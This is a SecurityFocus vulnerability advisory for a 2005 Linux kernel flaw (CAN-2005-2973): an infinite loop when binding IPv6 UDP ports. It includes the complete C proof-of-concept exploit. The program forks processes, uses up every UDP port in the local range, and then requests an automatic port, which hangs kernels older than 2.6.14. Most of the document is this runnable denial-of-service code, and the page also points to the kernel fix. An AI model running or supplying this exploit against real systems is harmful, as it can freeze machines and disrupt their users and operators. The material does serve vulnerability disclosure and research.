source: http://www.securityfocus.com/bid/15156/info

Linux Kernel is reported prone to a local denial-of-service vulnerability.

This issue arises from an infinite loop when binding IPv6 UDP ports. 

/*
 * Linux kernel
 * IPv6 UDP port selection infinite loop
 * local denial of service vulnerability
 * proof of concept code
 * version 1.0 (Oct 29 2005)
 * CVE ID: CAN-2005-2973
 *
 * by Remi Denis-Courmont < exploit at simphalempin dot com >
 *   http://www.simphalempin.com/dev/
 *
 * Vulnerable:
 *  - Linux < 2.6.14 with IPv6
 *
 * Not vulnerable:
 *  - Linux >= 2.6.14
 *  - Linux without IPv6
 *
 * Fix:
 * http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;
 * a=commit;h=87bf9c97b4b3af8dec7b2b79cdfe7bfc0a0a03b2
 */


/*****************************************************************************
 * Copyright (C) 2005  Remi Denis-Courmont.  All rights reserved.            *
 *                                                                           *
 * Redistribution and use in source and binary forms, with or without        *
 * modification, are permitted provided that the following conditions        *
 * are met:                                                                  *
 * 1. Redistributions of source code must retain the above copyright notice, *
 *    this list of conditions and the following disclaimer.                  *
 * 2. Redistribution in binary form must reproduce the above copyright       *
 *    notice, this list of conditions and the following disclaimer in the    *
 *    documentation and/or other materials provided with the distribution.   *
 *                                                                           *
 * The author's liability shall not be incurred as a result of loss of due   *
 * the total or partial failure to fulfill anyone's obligations and direct   *
 * or consequential loss due to the software's use or performance.           *
 *                                                                           *
 * The current situation as regards scientific and technical know-how at the *
 * time when this software was distributed did not enable all possible uses  *
 * to be tested and verified, nor for the presence of any or all faults to   *
 * be detected. In this respect, people's attention is drawn to the risks    *
 * associated with loading, using, modifying and/or developing and           *
 * reproducing this software.                                                *
 * The user shall be responsible for verifying, by any or all means, the     *
 * software's suitability for its requirements, its due and proper           *
 * functioning, and for ensuring that it shall not cause damage to either    *
 * persons or property.                                                      *
 *                                                                           *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
 *                                                                           *
 * The author does not either expressly or tacitly warrant that this         *
 * software does not infringe any or all third party intellectual right      *
 * relating to a patent, software or to any or all other property right.     *
 * Moreover, the author shall not hold someone harmless against any or all   *
 * proceedings for infringement that may be instituted in respect of the     *
 * use, modification and redistrbution of this software.                     *
 *****************************************************************************/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <errno.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

static int
bind_udpv6_port (uint16_t port)
{
	int fd;

	fd = socket (AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
	if (fd != -1)
	{
		struct sockaddr_in6 addr;
		int val = 1;

		setsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &val, sizeof (val));

		memset (&addr, 0, sizeof (addr));
		addr.sin6_family = AF_INET6;
		addr.sin6_port = htons (port);
		if (bind (fd, (struct sockaddr *)&addr, sizeof (addr)) == 0)
			return fd;

		close (fd);
	}
	return -1;
}


static int
get_fd_limit (void)
{
	struct rlimit lim;

	getrlimit (RLIMIT_NOFILE, &lim);
	lim.rlim_cur = lim.rlim_max;
	setrlimit (RLIMIT_NOFILE, &lim);
	return (int)lim.rlim_max;
}


static void
get_port_range (uint16_t *range)
{
	FILE *stream;

	/* conservative defaults */
	range[0] = 1024;
	range[1] = 65535;

	stream = fopen ("/proc/sys/net/ipv4/ip_local_port_range", "r");
	if (stream != NULL)
	{
		unsigned i[2];

		if ((fscanf (stream, "%u %u", i, i + 1) == 2)
		 && (i[0] <= i[1]) && (i[1] < 65535))
		{
			range[0] = (uint16_t)i[0];
			range[1] = (uint16_t)i[1];
		}
		fclose (stream);
	}
}


/* The criticial is fairly simple to raise : the infinite loop occurs when
 * calling bind with no speficied port number (ie zero), if and only if the
 * IPv6 stack cannot find any free UDP port within the local port range
 * (normally 32768-61000). Because this requires times more sockets than what
 * a process normally can open at a given time, we have to spawn several
 * processes. Then, the simplest way to trigger the crash condition consists
 * of opening up kernel-allocated UDP ports until it crashes, but that is
 * fairly slow (because allocation are stored in small a hash table of lists,
 * that are checked at each allocation). A much faster scheme involves getting
 * the local port range from /proc, allocating one by one, and only then, ask
 * for automatic (any/zero) port allocation.
 */
static int
proof (void)
{
	int lim, val = 2;
	pid_t pid, ppid;
	uint16_t range[2], port;

	lim = get_fd_limit ();
	if (lim <= 3)
		return -2;

	get_port_range (range);

	port = range[0];
	ppid = getpid ();

	puts ("Stage 1...");
	do
	{
		switch (pid = fork ())
		{
			case 0:
				for (val = 3; val < lim; val++)
					close (val);

				do
				{
					if (bind_udpv6_port (port) >= 0)
					{
						if (port)
							port++;
					}
					else
					if (port && (errno == EADDRINUSE))
						port++; /* skip already used port */
					else
					if (errno != EMFILE)
						/* EAFNOSUPPORT -> no IPv6 stack */
						/* EADDRINUSE -> not vulnerable */
						exit (1);

					if (port > range[1])
					{
						puts ("Stage 2... should crash quickly");
						port = 0;
					}
				}
				while (errno != EMFILE);

				break; /* EMFILE: spawn new process */

			case -1:
				exit (2);

			default:
				wait (&val);
				if (ppid != getpid ())
					exit (WIFEXITED (val) ? WEXITSTATUS (val) : 2);
		}
	}
	while (pid == 0);

	puts ("System not vulnerable");
	return -val;
}

int
main (int argc, char *argv[])
{
	setvbuf (stdout, NULL, _IONBF, 0);
	puts ("Linux kernel IPv6 UDP port infinite loop vulnerability\n"
	      "proof of concept code\n"
	      "Copyright (C) 2005 Remi Denis-Courmont "
	      "<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70"
	      "\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n");

	return -proof ();
}

